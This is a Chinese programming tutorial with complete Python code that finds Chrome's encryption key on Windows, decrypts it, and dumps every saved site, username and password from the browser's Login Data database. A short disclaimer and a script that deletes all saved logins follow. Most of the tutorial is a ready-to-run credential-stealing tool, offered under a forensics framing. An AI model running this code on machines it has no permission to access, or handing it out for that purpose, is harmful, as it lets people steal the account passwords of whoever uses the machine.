如何在Python中提取Chrome密码?本文带你了解如何在 sqlite3 和其他模块的帮助下使用 Python 提取和解密 Google Chrome 浏览器保存的密码。
能够在最流行的浏览器中提取保存的密码在取证中是一项有用且方便的任务,因为 Chrome 将密码本地保存在sqlite 数据库中。但是,手动执行此操作可能会很耗时。
Python如何提取Chrome密码?由于Chrome会将你的大量浏览数据本地保存在你的磁盘中,在本教程中,我们将编写 Python 代码来提取 Windows 计算机上 Chrome 中保存的密码,我们还将编写一个快速脚本来保护自己免受此类攻击。
首先,让我们安装所需的库:
pip3 install pycryptodome pypiwin32
打开一个新的 Python 文件,并导入必要的模块:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
在直接进入提取 chrome 密码之前,我们需要定义一些有用的函数来帮助我们在主函数中,如下Python提取Chrome密码代码示例:
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove DPAPI str
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_password(password, key):
try:
# get the initialization vector
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
get_chrome_datetime()函数负责将 chrome 日期格式转换为人类可读的日期时间格式。
Python如何提取Chrome密码?get_encryption_key()函数提取和解码用于加密密码的AES密钥,这"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"作为 JSON 文件存储在路径中。
decrypt_password()将加密密码和 AES 密钥作为参数,并返回密码的解密版本。
下面是主要功能,Python提取Chrome密码代码示例如下:
def main():
# get the AES key
key = get_encryption_key()
# local sqlite Chrome database path
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
# copy the file to another location
# as the database will be locked if chrome is currently running
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
# iterate over all rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
if username or password:
print(f"Origin URL: {origin_url}")
print(f"Action URL: {action_url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
continue
if date_created != 86400000000 and date_created:
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
if date_last_used != 86400000000 and date_last_used:
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
print("="*50)
cursor.close()
db.close()
try:
# try to remove the copied db file
os.remove(filename)
except:
pass
如何在Python中提取Chrome密码?首先,我们使用之前定义的get_encryption_key()函数获取加密密钥,然后我们将 SQLite 数据库(位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"保存密码的位置)复制到当前目录并连接到它,这是因为原始数据库文件将被锁定Chrome 当前正在运行。
之后,我们对登录表进行选择查询并遍历所有登录行,我们还解密每个密码并将时间date_created和date_last_used日期时间重新格式化为更易于阅读的格式。
最后,我们打印凭据并从当前目录中删除数据库副本。
让我们调用主函数:
if __name__ == "__main__":
main()
输出应该是这样的格式(显然,我正在共享假凭据):
Origin URL: https://accounts.google.com/SignUp
Action URL: ttps://accounts.google.com/SignUp
Username: email@gmail.com
Password: rU91aQktOuqVzeq
Creation date: 2020-05-25 07:50:41.416711
Last Used: 2020-05-25 07:50:41.416711
==================================================
Origin URL: https://cutt.ly/register
Action URL: https://cutt.ly/register
Username: email@example.com
Password: AfE9P2o5f5U
Creation date: 2020-07-13 08:31:25.142499
Last Used: 2020-07-13 09:46:24.375584
==================================================
太好了,现在你意识到你的机器中有很多敏感信息,并且可以使用这样的脚本轻松读取。
免责声明:请在你的机器或你有权访问的机器上运行此脚本,我们对任何滥用不承担任何责任。
相关: 如何在 Python 中使用 MySQL 数据库。
删除密码
Python提取Chrome密码代码示例:正如你刚刚看到的,在 Chrome 上保存的密码将它们留在那里是非常危险的。现在你可能想知道我们如何保护自己免受此类恶意脚本的侵害。在本节中,我们将编写一个脚本来访问该数据库并从logins表中删除所有行:
import sqlite3
import os
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
db = sqlite3.connect(db_path)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
n_logins = len(cursor.fetchall())
print(f"Deleting a total of {n_logins} logins...")
cursor.execute("delete from logins")
cursor.connection.commit()
这将要求你关闭 Chrome 浏览器然后运行它,这是我的输出:
Deleting a total of 204 logins...
这次打开 Chrome 后,你会注意到登录表单上的自动完成功能不再存在。同样运行第一个脚本,你会注意到它什么都不输出,所以我们已经成功地保护了自己免受这种情况的影响!
结论
如何在Python中提取Chrome密码?在本教程中,你学习了如何编写 Python 脚本来提取 Windows 上的 Chrome 密码,以及如何删除它们以防止恶意用户访问它们。
请注意,在本教程中,我们只讨论了"Login Data"包含登录凭据的文件。我邀请你进一步探索该目录。
Python如何提取Chrome密码?如果你想提取 Chrome cookie,本教程将引导你以类似的方式提取和解密 Chrome cookie。
例如,有一个"History"文件包含所有访问过的 URL 以及带有一堆其他元数据的关键字搜索。还有"Cookies", "Media History", "Preferences", "QuotaManager", "Reporting and NEL", "Shortcuts","Top Sites"和"Web Data"。
这些都是你可以访问的 SQLite 数据库,请确保复制并打开数据库,这样你就不会在想要访问时关闭 Chrome。
好的,我们完成了,在这里查看完整代码。

